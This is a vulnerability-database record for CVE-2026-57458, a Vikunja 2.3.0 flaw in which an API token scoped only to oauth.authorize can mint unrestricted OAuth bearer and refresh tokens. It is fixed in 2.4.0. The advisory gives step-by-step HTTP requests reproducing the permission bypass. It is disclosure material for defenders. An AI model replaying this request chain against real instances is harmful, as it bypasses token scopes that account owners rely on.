{"schema":"threatline.record/2","record":{"id":"CVE-2026-57458","aliases":["GHSA-v3p6-34mc-hj7v","GO-2026-6750"],"summary":"Vikunja: Scoped API token can mint unrestricted OAuth session credentials","details":"## Summary\n\nA scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.\n\nA token limited to:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\ncan call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.\n\n## Affected Component\n\n* Scoped API tokens\n* OAuth authorization flow\n* `POST /api/v1/oauth/authorize`\n* `POST /api/v1/oauth/token`\n\n## Impact\n\nA narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.\n\nThis bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.\n\nRuntime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:\n\n* `GET /api/v1/user`\n* `GET /api/v1/projects`\n\nNo cross-user access, privilege escalation to admin, or access to another account was validated.\n\n## Technical Details\n\nThe issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.\n\nThe vulnerable chain is:\n\n1. A scoped API token authenticates the request and sets the current user context.\n2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.\n3. The OAuth authorization endpoint issues an authorization code.\n4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.\n5. The resulting credentials are not bound to the original API-token permissions.\n\nRelevant code paths:\n\n* `pkg/routes/routes.go`\n\n  * registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens\n\n* `pkg/models/api_routes.go`\n\n  * exposes non-CRUD subroutes as API-token permissions\n  * exposes the OAuth authorization endpoint under the `oauth` permission group\n\n* `pkg/routes/api_tokens.go`\n\n  * stores `api_token` and `api_user` in the request context during API-token authentication\n\n* `pkg/user/user.go`\n\n  * treats `api_user` as an authenticated current user\n\n* `pkg/modules/auth/oauth2server/authorize.go`\n\n  * uses the current user and issues an OAuth authorization code\n\n* `pkg/modules/auth/oauth2server/token.go`\n\n  * exchanges the authorization code for a normal JWT and refresh token\n\n## Steps to Reproduce\n\n### 1. Create a scoped API token\n\nCreate an API token with only the following permission:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\nObserved response:\n\n```http\n201 Created\n```\n\nThe returned token had only the `oauth.authorize` permission.\n\n### 2. Negative control: direct access with scoped token fails\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer <scoped-api-token>\n```\n\nObserved response:\n\n```http\n401 Unauthorized\n```\n\nResponse body:\n\n```json\n{\"code\":11,\"message\":\"missing, malformed, expired or otherwise invalid token provided\"}\n```\n\nThis confirms that the scoped token cannot directly access the normal user route.\n\n### 3. Obtain an OAuth authorization code with the scoped token\n\nRequest:\n\n```http\nPOST /api/v1/oauth/authorize\nAuthorization: Bearer <scoped-api-token>\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"response_type\": \"code\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_challenge\": \"<pkce-s256-challenge>\",\n  \"code_challenge_method\": \"S256\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"code\": \"<redacted>\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"state\": \"\"\n}\n```\n\nThe scoped API token successfully obtained an OAuth authorization code.\n\n### 4. Exchange the authorization code for session credentials\n\nRequest:\n\n```http\nPOST /api/v1/oauth/token\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"grant_type\": \"authorization_code\",\n  \"code\": \"<redacted>\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_verifier\": \"<original-pkce-verifier>\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"access_token\": \"<redacted>\",\n  \"token_type\": \"bearer\",\n  \"expires_in\": 600,\n  \"refresh_token\": \"<redacted>\"\n}\n```\n\nThe authorization code was exchanged for a normal access token and refresh token.\n\n### 5. Use the minted access token on normal routes\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer <minted-oauth-access-token>\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nAdditional scope check:\n\n```http\nGET /api/v1/projects\nAuthorization: Bearer <minted-oauth-access-token>\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nThe minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.\n\n## Expected Behavior\n\nA scoped API token should not be able to obtain credentials with broader permissions than its declared scope.\n\n`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.\n\n## Actual Behavior\n\nA token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.\n\nThe minted credentials are not restricted by the original API-token permissions.","categories":["Libraries & packages"],"product":"code.vikunja.io/api","vendor":"go-vikunja","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-v3p6-34mc-hj7v","source_modified_at":"2026-10-09T20:40:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"range":"= 2.3.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-57458","source_modified_at":"2026-10-13T18:32:34.301Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vikunja","vendor":"go-vikunja","versions":[{"version":"= 2.3.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-v3p6-34mc-hj7v","source_modified_at":"2026-10-19T21:40:52.432452993Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"events":[{"introduced":"2.3.0"},{"fixed":"2.4.0"}],"type":"SEMVER"}],"versions":["2.3.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-v3p6-34mc-hj7v","source_modified_at":"2026-10-09T20:40:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"version":"2.4.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-v3p6-34mc-hj7v","source_modified_at":"2026-10-19T21:40:52.432452993Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"version":"2.4.0"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00265,"percentile":0.17495,"score_date":"2026-10-23"},"published_at":"2026-10-09T20:46:29.356Z","modified_at":"2026-10-19T21:40:52.432452993Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-v3p6-34mc-hj7v","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-09T20:40:28Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-57458","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-13T18:32:34.301Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-v3p6-34mc-hj7v","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T21:40:52.432452993Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57458","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-v3p6-34mc-hj7v","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-13T18:31:54.296904Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:40:52.432452993Z","content_hash":"9b446f1847c122490b29a3d061d18b8a90ac3971f9a4dea94431ba541c6f67fc"}}
